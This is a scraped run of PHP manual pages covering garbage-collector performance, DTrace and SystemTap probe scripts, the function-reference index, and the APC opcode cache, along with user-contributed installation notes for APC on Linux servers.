Besides changing the zend.enable_gc configuration setting, it is also possible to turn the garbage collecting mechanism on and off by calling gc_enable() or gc_disable() respectively. Calling those functions has the same effect as turning on or off the mechanism with the configuration setting. It is also possible to force the collection of cycles even if the possible root buffer is not full yet. For this, you can use the gc_collect_cycles() function. This function will return how many cycles were collected by the algorithm.

The rationale behind the ability to turn the mechanism on and off, and to initiate cycle collection yourself, is that some parts of your application could be highly time-sensitive. In those cases, you might not want the garbage collection mechanism to kick in. Of course, by turning off the garbage collection for certain parts of your application, you do risk creating memory leaks because some possible roots might not fit into the limited root buffer. Therefore, it is probably wise to call gc_collect_cycles() just before you call gc_disable() to free up the memory that could be lost through possible roots that are already recorded in the root buffer. This then leaves an empty buffer so that there is more space for storing possible roots while the cycle collecting mechanism is turned off.

User Contributed Notes

There are no user contributed notes for this page.


Performance Considerations

We have already mentioned in the previous section that simply collecting the possible roots had a very tiny performance impact, but this is when you compare PHP 5.2 against PHP 5.3. Although the recording of possible roots compared to not recording them at all, like in PHP 5.2, is slower, other changes to the PHP runtime in PHP 5.3 prevented this particular performance loss from even showing.

There are two major areas in which performance is affected. The first area is reduced memory usage, and the second area is run-time delay when the garbage collection mechanism performs its memory cleanups. We will look at both of those issues.

Reduced Memory Usage

First of all, the whole reason for implementing the garbage collection mechanism is to reduce memory usage by cleaning up circular-referenced variables as soon as the prerequisites are fulfilled. In PHP's implementation, this happens as soon as the root-buffer is full, or when the function gc_collect_cycles() is called. In the graph below, we display the memory usage of the script below, in both PHP 5.2 and PHP 5.3, excluding the base memory that PHP itself uses when starting up.

Example #1 Memory usage example

<?php
class Foo
{
    public $var = '3.14159265359';
}

$baseMemory = memory_get_usage();

for ( $i = 0; $i <= 100000; $i++ )
{
    $a = new Foo;
    $a->self = $a;
    if ( $i % 500 === 0 )
    {
        echo sprintf( '%8d: ', $i ), memory_get_usage() - $baseMemory, "\n";
    }
}
?>
Comparison of memory usage between PHP 5.2 and PHP 5.3

In this very academic example, we are creating an object in which a property is set to point back to the object itself. When the $a variable in the script is re-assigned in the next iteration of the loop, a memory leak would typically occur. In this case, two zval-containers are leaked (the object zval, and the property zval), but only one possible root is found: the variable that was unset. When the root-buffer is full after 10,000 iterations (with a total of 10,000 possible roots), the garbage collection mechanism kicks in and frees the memory associated with those possible roots. This can very clearly be seen in the jagged memory-usage graph for PHP 5.3. After each 10,000 iterations, the mechanism kicks in and frees the memory associated with the circular referenced variables. The mechanism itself does not have to do a whole lot of work in this example, because the structure that is leaked is extremely simple. From the diagram, you see that the maximum memory usage in PHP 5.3 is about 9 Mb, whereas in PHP 5.2 the memory usage keeps increasing.

Run-Time Slowdowns

The second area where the garbage collection mechanism influences performance is the time taken when the garbage collection mechanism kicks in to free the "leaked" memory. In order to see how much this is, we slightly modify the previous script to allow for a larger number of iterations and the removal of the intermediate memory usage figures. The second script is here:

Example #2 GC performance influences

<?php
class Foo
{
    public $var = '3.1415962654';
}

for ( $i = 0; $i <= 1000000; $i++ )
{
    $a = new Foo;
    $a->self = $a;
}

echo memory_get_peak_usage(), "\n";
?>

We will run this script two times, once with the zend.enable_gc setting turned on, and once with it turned off:

Example #3 Running the above script

time php -dzend.enable_gc=0 -dmemory_limit=-1 -n example2.php
# and
time php -dzend.enable_gc=1 -dmemory_limit=-1 -n example2.php

On my machine, the first command seems to take consistently about 10.7 seconds, whereas the second command takes about 11.4 seconds. This is a slowdown of about 7%. However, the maximum amount of memory used by the script is reduced by 98% from 931Mb to 10Mb. This benchmark is not very scientific, or even representative of real-life applications, but it does demonstrate the memory usage benefits that this garbage collection mechanism provides. The good thing is that the slowdown is always the same 7%, for this particular script, while the memory saving capabilities save more and more memory as more circular references are found during script execution.

PHP's Internal GC Statistics

It is possible to coax a little bit more information about how the garbage collection mechanism is run from within PHP. But in order to do so, you will have to re-compile PHP to enable the benchmark and data-collecting code. You will have to set the CFLAGS environment variable to -DGC_BENCH=1 prior to running ./configure with your desired options. The following sequence should do the trick:

Example #4 Recompiling PHP to enable GC benchmarking

export CFLAGS=-DGC_BENCH=1
./config.nice
make clean
make

When you run the above example code again with the newly built PHP binary, you will see the following being shown after PHP has finished execution:

Example #5 GC statistics

GC Statistics
-------------
Runs:               110
Collected:          2072204
Root buffer length: 0
Root buffer peak:   10000

      Possible            Remove from  Marked
        Root    Buffered     buffer     grey
      --------  --------  -----------  ------
ZVAL   7175487   1491291    1241690   3611871
ZOBJ  28506264   1527980     677581   1025731

The most informative statistics are displayed in the first block. You can see here that the garbage collection mechanism ran 110 times, and in total, more than 2 million memory allocations were freed during those 110 runs. As soon as the garbage collection mechanism has run at least one time, the "Root buffer peak" is always 10000.

Conclusion

In general the garbage collector in PHP will only cause a slowdown when the cycle collecting algorithm actually runs, whereas in normal (smaller) scripts there should be no performance hit at all.

However, in the cases where the cycle collection mechanism does run for normal scripts, the memory reduction it will provide allows more of those scripts to run concurrently on your server, since not so much memory is used in total.

The benefits are most apparent for longer-running scripts, such as lengthy test suites or daemon scripts. Also, for » PHP-GTK applications that generally tend to run longer than scripts for the Web, the new mechanism should make quite a bit of a difference regarding memory leaks creeping in over time.

User Contributed Notes

Anonymous 13-Nov-2013 08:06
Pi is incorrect, there 2 digits are swapped.


DTrace Dynamic Tracing

Table of Contents

  • Introduction to PHP and DTrace
  • Using PHP and DTrace
  • Using SystemTap with PHP DTrace Static Probes

User Contributed Notes

There are no user contributed notes for this page.


Introduction to PHP and DTrace

DTrace is an always-available, low overhead, tracing framework available on a number of platforms including Solaris, Mac OS X, Oracle Linux and BSD. DTrace can trace operating system behavior and user program execution. It can display argument values and be used to infer performance statistics. Probes are monitored by user created scripts written in the DTrace D scripting language. This allows efficient analysis of data points.

PHP probes that are not being actively monitored by a user's DTrace D script do not contain instrumented code so there is no performance degradation during normal application execution. Probes that are being monitored incur an overhead low enough to generally allow DTrace monitoring on live production systems.

PHP incorporates "User-level Statically Defined Tracing" (USDT) probes that are triggered at runtime. For example, when a D script is monitoring PHP's function-entry probe, then, every time a PHP script function is called, this probe is fired and the associated D script action code is executed. This action code could, for example, print probe arguments such as the source file location of the PHP function. Or the action could aggregate data such as the number of times each function is called.

Only the PHP USDT probes are described here. Refer to external general and operating system-specific DTrace literature to see how DTrace can be used to trace arbitrary functions, and how it can be used to trace operating system behavior. Note not all DTrace features are available in all DTrace implementations.

DTrace static probes are included in PHP 5.4. Prior to this they were available via a » PECL extension, which is now obsolete.

The static DTrace probes in PHP can alternatively be used with the SystemTap facility on some Linux distributions.

User Contributed Notes

There are no user contributed notes for this page.


Using PHP and DTrace

PHP can be configured with DTrace static probes on platforms that support DTrace Dynamic Tracing.

Configuring PHP for DTrace Static Probes

Refer to external platform specific documentation for enabling operating system DTrace support. For example, on Oracle Linux boot a UEK3 kernel and do:

# modprobe fasttrap
# chmod 666 /dev/dtrace/helper

Instead of using chmod, you could instead use an ACL package rule to limit device access to a specific user.

Build PHP with the --enable-dtrace configuration parameter:

# ./configure --enable-dtrace ...
# make
# make install

This enables the static probes in core PHP. Any PHP extensions that provide their own probes should be built separately as shared extensions.

DTrace Static Probes in Core PHP

The following static probes are available in PHP
Probe Name | Probe Description | Probe Arguments
request-startup | Fires when a request starts. | char *file, char *request_uri, char *request_method
request-shutdown | Fires when a request shutdown. | char *file, char *request_uri, char *request_method
compile-file-entry | Fires when the compilation of a script starts. | char *compile_file, char *compile_file_translated
compile-file-return | Fires when the compilation of a script finishes. | char *compile_file, char *compile_file_translated
execute-entry | Fires when an opcode array is to be executed. For example, it fires on function calls, includes, and generator resumes. | char *request_file, int lineno
execute-return | Fires after execution of an opcode array. | char *request_file, int lineno
function-entry | Fires when the PHP engine enters a PHP function or method call. | char *function_name, char *request_file, int lineno, char *classname, char *scope
function-return | Fires when the PHP engine returns from a PHP function or method call. | char *function_name, char *request_file, int lineno, char *classname, char *scope
exception-thrown | Fires when an exception is thrown. | char *classname
exception-caught | Fires when an exception is caught. | char *classname
error | Fires when an error occurs, regardless of the error_reporting level. | char *errormsg, char *request_file, int lineno

PHP extensions may also have additional static probes.

Listing DTrace Static Probes in PHP

To list available probes, start a PHP process and then run:

# dtrace -l

The output will be similar to:

   ID   PROVIDER            MODULE                          FUNCTION NAME
   [ . . . ]
    4   php15271               php               dtrace_compile_file compile-file-entry
    5   php15271               php               dtrace_compile_file compile-file-return
    6   php15271               php                        zend_error error
    7   php15271               php  ZEND_CATCH_SPEC_CONST_CV_HANDLER exception-caught
    8   php15271               php     zend_throw_exception_internal exception-thrown
    9   php15271               php                 dtrace_execute_ex execute-entry
   10   php15271               php           dtrace_execute_internal execute-entry
   11   php15271               php                 dtrace_execute_ex execute-return
   12   php15271               php           dtrace_execute_internal execute-return
   13   php15271               php                 dtrace_execute_ex function-entry
   14   php15271               php                 dtrace_execute_ex function-return
   15   php15271               php              php_request_shutdown request-shutdown
   16   php15271               php               php_request_startup request-startup

The Provider column values consist of php and the process id of the currently running PHP process.

If the Apache web server is running, the module name might be, for example, libphp5.so, and there would be multiple blocks of listings, one per running Apache process.

The Function column refers to PHP's internal C implementation function names where each provider is located.

If a PHP process is not running, then no PHP probes will be shown.

DTrace with PHP Example

This example shows the basics of the DTrace D scripting language.

Example #1 all_probes.d for tracing all PHP Static Probes with DTrace

#!/usr/sbin/dtrace -Zs

#pragma D option quiet

php*:::compile-file-entry
{
    printf("PHP compile-file-entry\n");
    printf("  compile_file              %s\n", copyinstr(arg0));
    printf("  compile_file_translated   %s\n", copyinstr(arg1));
}

php*:::compile-file-return
{
    printf("PHP compile-file-return\n");
    printf("  compile_file              %s\n", copyinstr(arg0));
    printf("  compile_file_translated   %s\n", copyinstr(arg1));
}

php*:::error
{
    printf("PHP error\n");
    printf("  errormsg                  %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
}

php*:::exception-caught
{
    printf("PHP exception-caught\n");
    printf("  classname                 %s\n", copyinstr(arg0));
}

php*:::exception-thrown
{
    printf("PHP exception-thrown\n");
    printf("  classname                 %s\n", copyinstr(arg0));
}

php*:::execute-entry
{
    printf("PHP execute-entry\n");
    printf("  request_file              %s\n", copyinstr(arg0));
    printf("  lineno                    %d\n", (int)arg1);
}

php*:::execute-return
{
    printf("PHP execute-return\n");
    printf("  request_file              %s\n", copyinstr(arg0));
    printf("  lineno                    %d\n", (int)arg1);
}

php*:::function-entry
{
    printf("PHP function-entry\n");
    printf("  function_name             %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
    printf("  classname                 %s\n", copyinstr(arg3));
    printf("  scope                     %s\n", copyinstr(arg4));
}

php*:::function-return
{
    printf("PHP function-return\n");
    printf("  function_name             %s\n", copyinstr(arg0));
    printf("  request_file              %s\n", copyinstr(arg1));
    printf("  lineno                    %d\n", (int)arg2);
    printf("  classname                 %s\n", copyinstr(arg3));
    printf("  scope                     %s\n", copyinstr(arg4));
}

php*:::request-shutdown
{
    printf("PHP request-shutdown\n");
    printf("  file                      %s\n", copyinstr(arg0));
    printf("  request_uri               %s\n", copyinstr(arg1));
    printf("  request_method            %s\n", copyinstr(arg2));
}

php*:::request-startup
{
    printf("PHP request-startup\n");
    printf("  file                      %s\n", copyinstr(arg0));
    printf("  request_uri               %s\n", copyinstr(arg1));
    printf("  request_method            %s\n", copyinstr(arg2));
}

This script uses the -Z option to dtrace, allowing it to be run when there is no PHP process executing. If this option were omitted the script would immediately terminate because it knows none of the probes to be monitored are in existence.

The script traces all core PHP static probe points throughout the duration of a running PHP script. Run the D script:

# ./all_probes.d

Run a PHP script or application. The monitoring D script will output each probe's arguments as it fires.

When monitoring is complete, the D script can be terminated with a ^C.

On multi-CPU machines the probe ordering might not appear to be sequential. This depends on which CPU was processing the probes, and how threads migrate across CPUs. Displaying probe time stamps will help reduce confusion, for example:

php*:::function-entry
{
      printf("%lld: PHP function-entry ", walltimestamp);
      [ . . .]
}

See Also

  • OCI8 and DTrace Dynamic Tracing

User Contributed Notes

There are no user contributed notes for this page.


Using SystemTap with PHP DTrace Static Probes

On some Linux distributions, the SystemTap tracing utility can be used to trace PHP's static DTrace probes. This is available with PHP 5.4.20 and PHP 5.5.

Installing PHP with SystemTap

Install the SystemTap SDT development package:

# yum install systemtap-sdt-devel

Install PHP with the DTrace probes enabled:

# ./configure --enable-dtrace ...
# make

Listing Static Probes with SystemTap

The static probes in PHP can be listed using stap:

# stap -l 'process.provider("php").mark("*")' -c 'sapi/cli/php -i'

This outputs:

process("sapi/cli/php").provider("php").mark("compile__file__entry")
process("sapi/cli/php").provider("php").mark("compile__file__return")
process("sapi/cli/php").provider("php").mark("error")
process("sapi/cli/php").provider("php").mark("exception__caught")
process("sapi/cli/php").provider("php").mark("exception__thrown")
process("sapi/cli/php").provider("php").mark("execute__entry")
process("sapi/cli/php").provider("php").mark("execute__return")
process("sapi/cli/php").provider("php").mark("function__entry")
process("sapi/cli/php").provider("php").mark("function__return")
process("sapi/cli/php").provider("php").mark("request__shutdown")
process("sapi/cli/php").provider("php").mark("request__startup")

SystemTap with PHP Example

Example #1 all_probes.stp for tracing all PHP Static Probes with SystemTap

probe process("sapi/cli/php").provider("php").mark("compile__file__entry") {
    printf("Probe compile__file__entry\n");
    printf("  compile_file %s\n", user_string($arg1));
    printf("  compile_file_translated %s\n", user_string($arg2));
}
probe process("sapi/cli/php").provider("php").mark("compile__file__return") {
    printf("Probe compile__file__return\n");
    printf("  compile_file %s\n", user_string($arg1));
    printf("  compile_file_translated %s\n", user_string($arg2));
}
probe process("sapi/cli/php").provider("php").mark("error") {
    printf("Probe error\n");
    printf("  errormsg %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
}
probe process("sapi/cli/php").provider("php").mark("exception__caught") {
    printf("Probe exception__caught\n");
    printf("  classname %s\n", user_string($arg1));
}
probe process("sapi/cli/php").provider("php").mark("exception__thrown") {
    printf("Probe exception__thrown\n");
    printf("  classname %s\n", user_string($arg1));
}
probe process("sapi/cli/php").provider("php").mark("execute__entry") {
    printf("Probe execute__entry\n");
    printf("  request_file %s\n", user_string($arg1));
    printf("  lineno %d\n", $arg2);
}
probe process("sapi/cli/php").provider("php").mark("execute__return") {
    printf("Probe execute__return\n");
    printf("  request_file %s\n", user_string($arg1));
    printf("  lineno %d\n", $arg2);
}
probe process("sapi/cli/php").provider("php").mark("function__entry") {
    printf("Probe function__entry\n");
    printf("  function_name %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
    printf("  classname %s\n", user_string($arg4));
    printf("  scope %s\n", user_string($arg5));
}
probe process("sapi/cli/php").provider("php").mark("function__return") {
    printf("Probe function__return: %s\n", user_string($arg1));
    printf(" function_name %s\n", user_string($arg1));
    printf("  request_file %s\n", user_string($arg2));
    printf("  lineno %d\n", $arg3);
    printf("  classname %s\n", user_string($arg4));
    printf("  scope %s\n", user_string($arg5));
}
probe process("sapi/cli/php").provider("php").mark("request__shutdown") {
    printf("Probe request__shutdown\n");
    printf("  file %s\n", user_string($arg1));
    printf("  request_uri %s\n", user_string($arg2));
    printf("  request_method %s\n", user_string($arg3));
}
probe process("sapi/cli/php").provider("php").mark("request__startup") {
    printf("Probe request__startup\n");
    printf("  file %s\n", user_string($arg1));
    printf("  request_uri %s\n", user_string($arg2));
    printf("  request_method %s\n", user_string($arg3));
}

The above script will trace all core PHP static probe points throughout the duration of a running PHP script:

# stap -c 'sapi/cli/php test.php' all_probes.stp

User Contributed Notes

There are no user contributed notes for this page.


Function Reference

Tip

See also Extension List/Categorization.

  • Affecting PHP's Behaviour
    • APC — Alternative PHP Cache
    • APD — Advanced PHP debugger
    • bcompiler — PHP bytecode Compiler
    • BLENC — Blenc - BLowfish ENCoder for PHP source scripts
    • Error Handling — Error Handling and Logging
    • htscanner — htaccess-like support for all SAPIs
    • inclued — Inclusion hierarchy viewer
    • Memtrack
    • OPcache
    • Output Control — Output Buffering Control
    • PHP Options/Info — PHP Options and Information
    • runkit
    • scream — Break the silence operator
    • uopz
    • Weakref — Weak References
    • WinCache — Windows Cache for PHP
    • Xhprof — Hierarchical Profiler
  • Audio Formats Manipulation
    • ID3 — ID3 Tags
    • KTaglib
    • oggvorbis — OGG/Vorbis
    • OpenAL — OpenAL Audio Bindings
  • Authentication Services
    • KADM5 — Kerberos V
    • Radius
  • Command Line Specific Extensions
    • Ncurses — Ncurses Terminal Screen Control
    • Newt
    • Readline — GNU Readline
  • Compression and Archive Extensions
    • Bzip2
    • LZF
    • Phar
    • Rar — Rar Archiving
    • Zip
    • Zlib — Zlib Compression
  • Credit Card Processing
    • MCVE — MCVE (Monetra) Payment
    • SPPLUS — SPPLUS Payment System
  • Cryptography Extensions
    • Crack — Cracklib
    • Hash — HASH Message Digest Framework
    • Mcrypt
    • Mhash
    • OpenSSL
    • Password Hashing
  • Database Extensions
    • Abstraction Layers
    • Vendor Specific Database Extensions
  • Date and Time Related Extensions
    • Calendar
    • Date/Time — Date and Time
    • HRTime — High resolution timing
  • File System Related Extensions
    • Direct IO
    • Directories
    • Fileinfo — File Information
    • Filesystem
    • Inotify
    • Mimetype
    • Proctitle
    • xattr
    • xdiff
  • Human Language and Character Encoding Support
    • Enchant — Enchant spelling library
    • FriBiDi
    • Gender — Determine gender of firstnames
    • Gettext
    • iconv
    • intl — Internationalization Functions
    • Multibyte String
    • Pspell
    • Recode — GNU Recode
  • Image Processing and Generation
    • Cairo
    • Exif — Exchangeable image information
    • GD — Image Processing and GD
    • Gmagick
    • ImageMagick — Image Processing (ImageMagick)
  • Mail Related Extensions
    • Cyrus — Cyrus IMAP administration
    • IMAP — IMAP, POP3 and NNTP
    • Mail
    • Mailparse
    • vpopmail
  • Mathematical Extensions
    • BC Math — BCMath Arbitrary Precision Mathematics
    • GMP — GNU Multiple Precision
    • Lapack
    • Math — Mathematical Functions
    • Statistics
    • Trader — Technical Analysis for Traders
  • Non-Text MIME Output
    • FDF — Forms Data Format
    • GnuPG — GNU Privacy Guard
    • haru — Haru PDF
    • Ming — Ming (flash)
    • PDF
    • PS — PostScript document creation
    • RPM Reader — RPM Header Reading
  • Process Control Extensions
    • Eio
    • Ev
    • Expect
    • Libevent
    • PCNTL — Process Control
    • POSIX
    • Program execution — System program execution
    • pthreads
    • Semaphore — Semaphore, Shared Memory and IPC
    • Shared Memory
    • Sync
  • Other Basic Extensions
    • GeoIP — Geo IP Location
    • FANN — FANN (Fast Artificial Neural Network)
    • JSON — JavaScript Object Notation
    • Judy — Judy Arrays
    • Lua
    • Misc. — Miscellaneous Functions
    • Parsekit
    • SPL — Standard PHP Library (SPL)
    • SPL Types — SPL Type Handling
    • Streams
    • Tidy
    • Tokenizer
    • URLs
    • V8js — V8 Javascript Engine Integration
    • Yaml — YAML Data Serialization
    • Yaf — Yet Another Framework
    • Taint
  • Other Services
    • chdb — Constant hash database
    • cURL — Client URL Library
    • Event
    • FAM — File Alteration Monitor
    • FTP
    • Gearman
    • Gopher — Net Gopher
    • Gupnp
    • HTTP
    • Hyperwave API
    • LDAP — Lightweight Directory Access Protocol
    • Memcache
    • Memcached
    • mqseries
    • Network
    • RRD — RRDtool
    • SAM — Simple Asynchronous Messaging
    • SNMP
    • Sockets
    • SSH2 — Secure Shell2
    • Stomp — Stomp Client
    • SVM — Support Vector Machine
    • SVN — Subversion
    • TCP — TCP Wrappers
    • Varnish
    • YAZ
    • YP/NIS
    • 0MQ messaging — ZMQ
  • Search Engine Extensions
    • mnoGoSearch
    • Solr — Apache Solr
    • Sphinx — Sphinx Client
    • Swish — Swish Indexing
  • Server Specific Extensions
    • Apache
    • FastCGI Process Manager
    • IIS — IIS Administration
    • NSAPI
  • Session Extensions
    • Msession — Mohawk Software Session Handler Functions
    • Sessions — Session Handling
    • Session PgSQL — PostgreSQL Session Save Handler
  • Text Processing
    • BBCode — Bulletin Board Code
    • PCRE — Regular Expressions (Perl-Compatible)
    • POSIX Regex — Regular Expression (POSIX Extended)
    • ssdeep — ssdeep Fuzzy Hashing
    • Strings
  • Variable and Type Related Extensions
    • Arrays
    • Classes/Objects — Class/Object Information
    • Classkit
    • Ctype — Character type checking
    • Filter — Data Filtering
    • Function Handling
    • Quickhash
    • Reflection
    • Variable handling
  • Web Services
    • OAuth
    • SCA
    • SOAP
    • Yar — Yet Another RPC Framework
    • XML-RPC
  • Windows Only Extensions
    • COM — COM and .Net (Windows)
    • win32ps
    • win32service
  • XML Manipulation
    • DOM — Document Object Model
    • libxml
    • SDO — Service Data Objects
    • SDO-DAS-Relational — SDO Relational Data Access Service
    • SDO DAS XML — SDO XML Data Access Service
    • SimpleXML
    • WDDX
    • XMLDiff — XML diff and merge
    • XML Parser
    • XMLReader
    • XMLWriter
    • XSL

User Contributed Notes

There are no user contributed notes for this page.


Affecting PHP's Behaviour

  • APC — Alternative PHP Cache
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • APC Functions
    • APCIterator — The APCIterator class
  • APD — Advanced PHP debugger
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • APD Functions
  • bcompiler — PHP bytecode Compiler
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • bcompiler Functions
  • BLENC — Blenc - BLowfish ENCoder for PHP source scripts
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Blenc Functions
  • Error Handling — Error Handling and Logging
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Error Handling Functions
  • htscanner — htaccess-like support for all SAPIs
    • Introduction
    • Installing/Configuring
  • inclued — Inclusion hierarchy viewer
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • inclued Functions
  • Memtrack
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
  • OPcache
    • Introduction
    • Installing/Configuring
    • OPcache Functions
  • Output Control — Output Buffering Control
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Output Control Functions
  • PHP Options/Info — PHP Options and Information
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • PHP Options/Info Functions
  • runkit
    • Introduction
    • Predefined Constants
    • Installing/Configuring
    • runkit Functions
  • scream — Break the silence operator
    • Introduction
    • Installing/Configuring
    • Examples
  • uopz
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Uopz Functions
  • Weakref — Weak References
    • Introduction
    • Installing/Configuring
    • WeakRef — The WeakRef class
    • WeakMap — The WeakMap class
  • WinCache — Windows Cache for PHP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • WinCache Functions
    • Building for Windows
  • Xhprof — Hierarchical Profiler
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Xhprof Functions

User Contributed Notes

There are no user contributed notes for this page.


Alternative PHP Cache

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • APC Functions
    • apc_add — Cache a new variable in the data store
    • apc_bin_dump — Get a binary dump of the given files and user variables
    • apc_bin_dumpfile — Output a binary dump of cached files and user variables to a file
    • apc_bin_load — Load a binary dump into the APC file/user cache
    • apc_bin_loadfile — Load a binary dump from a file into the APC file/user cache
    • apc_cache_info — Retrieves cached information from APC's data store
    • apc_cas — Updates an old value with a new value
    • apc_clear_cache — Clears the APC cache
    • apc_compile_file — Stores a file in the bytecode cache, bypassing all filters.
    • apc_dec — Decrease a stored number
    • apc_define_constants — Defines a set of constants for retrieval and mass-definition
    • apc_delete_file — Deletes files from the opcode cache
    • apc_delete — Removes a stored variable from the cache
    • apc_exists — Checks if APC key exists
    • apc_fetch — Fetch a stored variable from the cache
    • apc_inc — Increase a stored number
    • apc_load_constants — Loads a set of constants from the cache
    • apc_sma_info — Retrieves APC's Shared Memory Allocation information
    • apc_store — Cache a variable in the data store
  • APCIterator — The APCIterator class
    • APCIterator::__construct — Constructs an APCIterator iterator object
    • APCIterator::current — Get current item
    • APCIterator::getTotalCount — Get total count
    • APCIterator::getTotalHits — Get total cache hits
    • APCIterator::getTotalSize — Get total cache size
    • APCIterator::key — Get iterator key
    • APCIterator::next — Move pointer to next item
    • APCIterator::rewind — Rewinds iterator
    • APCIterator::valid — Checks if current position is valid

User Contributed Notes

mike at eastghost dot com 06-Feb-2012 01:39
Was using Memcache and Memcached extensions, painfully bouncing between faults, failures and shortcomings of each.  My two cents: Neither of these old drivers has been a smash hit, repressing and slowly dooming of the true potential and full use of unix memcached.

The pain finally drove to me to try APC's apc_store and apc_fetch.  The results?  Instant success, no more errors, an order of magnitude (at least) speed boost, plus one less thing (memcached) to run.  Nice.  Never going back again.  Thank y'all.
umut dot kirgoz at gmail dot com 26-Sep-2011 09:32
Since APC 3.1.3, there is a bug (http://pecl.php.net/bugs/bug.php?id=16814) which produces warnings like "Potential Cache Slam Averted for Key" when slam defense is on and you're trying to write a key that already exists.

These is not a fix right now for this, but you can change the APC settings from php.ini file like below if possible:

apc.write_lock = 1
apc.slam_defense = 0
hello at haroonahmad dot co dot uk 16-Jun-2009 12:57
Disclaimer: i do not guarantee it will work for you so you better use it at your own risk. It works for me.

* I am using # symbol for all shell commands

I am posting a quick step-by-step guide to install APC on servers (dedicated or VPS) with cpanel/whm working.

First login as a root to your server/vps and make a directory to work with this plugin,

#mkdir /home/APC-php

#cd /home/APC-php

now here we will first download the APC with following command

#wget http://pecl.php.net/get/APC-3.0.14.tgz

you can check for the latest version

now you can use gzip and tar separately or tar -xzvf to unzip this file

#tar -xzvf APC-3.0.14.tgz

now you will have a APC-3.0.14 folder.

#cd APC-3.0.14

now you have to make php configuration files by following command

#phpize

after this use following three commands

# ./configure --enable-apc --enable-apc-mmap --with-apxs --with-php-config=/usr/bin/php-config

*if you do not know the php path then execute ( which php ) command it will display the path. on a typical cpanel vps it could be /usr/bin/php-config or /usr/local/bin/php-config but you better check it before executing the above command)

#make

#make test

#make install

NOTE: if you are using suPHP then skip --with-apxs

*one more thing, if you use

#make test

command it shows 3 tests failed then do not worry, it showed at least to me but worked with the final steps.

the (make install) command will return the apc.so module path, note down that with you as you will have to feed it in the php.ini file in the next step.

check your php.ini location by

#php -i | grep php.ini

then open it with your favorite editor. mine was at

#vi /usr/local/lib/php.ini

and go to the last line and paste the following

extension="apc.so"

now there is a catch in it, if you have other modules installed and their extension directory is different than the one MAKE INSTALL showed for APC so you have to move your apc.so to that directory so that all modules are in the same directory. in my case my APC directory was

/usr/lib/php/extensions/no-debug-non-zts-20060613/

but i moved apc.so from this location to my other location where my other extensions.so files were.

you can check that path in php.ini sectiion of

extension_dir = ""

after this restart your apache, for different servers it may vary mine worked with

#service httpd restart

if everything works fine it will restart apache without showing any error. in case of any error, roll back your php.ini changes and restart apache and discuss your problem in some forum or email me at hello@haroonahmad.co.uk

now check the phpinfo() output in your browser and it will display APC version information etc. for command line you might do

php -i | grep apc

I hope it helps.

Haroon Ahmad


Introduction

The Alternative PHP Cache (APC) is a free and open opcode cache for PHP. Its goal is to provide a free, open, and robust framework for caching and optimizing PHP intermediate code.

User Contributed Notes

Anonymous 05-Oct-2014 09:36
APC originated with Daniel Cogwell and George Schlossnagle, and was released by Community Connect, Inc. After the release of PHP5, Yahoo! modified APC to support the new Zend Engine, and it has since become part of PECL.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.


Requirements

No external libraries are needed to build this extension.

User Contributed Notes

mail at jacobwg dot com 05-Aug-2012 02:55
Except it does require PCRE... if not installed, you will get an error like "fatal error: pcre.h: No such file or directory".

Install with

    $ apt-get install libpcre3-dev

or

    $ yum install pcre-devel

or whatever your platform requires.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/apc.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Note: On Windows, APC needs a temp path to exist, and be writable by the web server. It checks the TMP, TEMP and USERPROFILE environment variables in that order and finally tries the WINDOWS directory if none of those are set.

Note: For more in-depth, highly technical implementation details, see the » developer-supplied TECHNOTES file .

User Contributed Notes

nhhecker+php_net at gmail dot com 19-Dec-2013 12:59
The below steps should work on Red Hat Enterprise Linux (RHEL) 6.x / CentOS 6.x. By way of introduction I had a bit of trouble installing php-devel but finally found an RPM on pbone.net that wold work with my version of php...
  # yum install gcc automake php httpd httpd-devel
  # yum list installed | grep php
  # rpm -Uvh ftp://ftp.sunet.se/pub/Linux/distributions/scientific/6.3/x86_64/updates/security/php-devel-5.3.3-27.el6_5.x86_64.rpm

With that out ofthe way, I could continue the installation of APC...
  # yum install php-pear
  # pecl install apc
  # echo "extension=apc.so" >> /etc/php.ini
  # echo "apc.enabled=1" >> /etc/php.ini
  # cp /usr/share/pear/apc.php /var/www/html/apc.php (this step is optional)
  # /etc/init.d/httpd restart

Finally, test opening the apc.php file in a Web browser if you opted to copy the file. If all goes well, you may want to delete the apc.php file when you're done.

-nick
adonis at aynacorp dot com 27-Dec-2012 12:01
Installation Steps For on Centos 6.3 / PHP 5.3.3

#use pecl to install it (you will be prompted during installation, I used the default values)
pecl install apc

# you should see something like this
downloading APC-3.1.9.tgz ...
Starting to download APC-3.1.9.tgz (155,540 bytes)
54 source files, building
running: phpize
Configuring for:
PHP Api Version:         20090626
Zend Module Api No:      20090626
...
...
...
Build process completed successfully
Installing '/usr/lib64/php/modules/apc.so'
Installing '/usr/include/php/ext/apc/apc_serializer.h'
install ok: channel://pecl.php.net/APC-3.1.9

#Great now that it is built,
#enable apc in php.ini
nano /etc/php.ini

# somewhere in you php.ini file add please not that path may be different for you installation
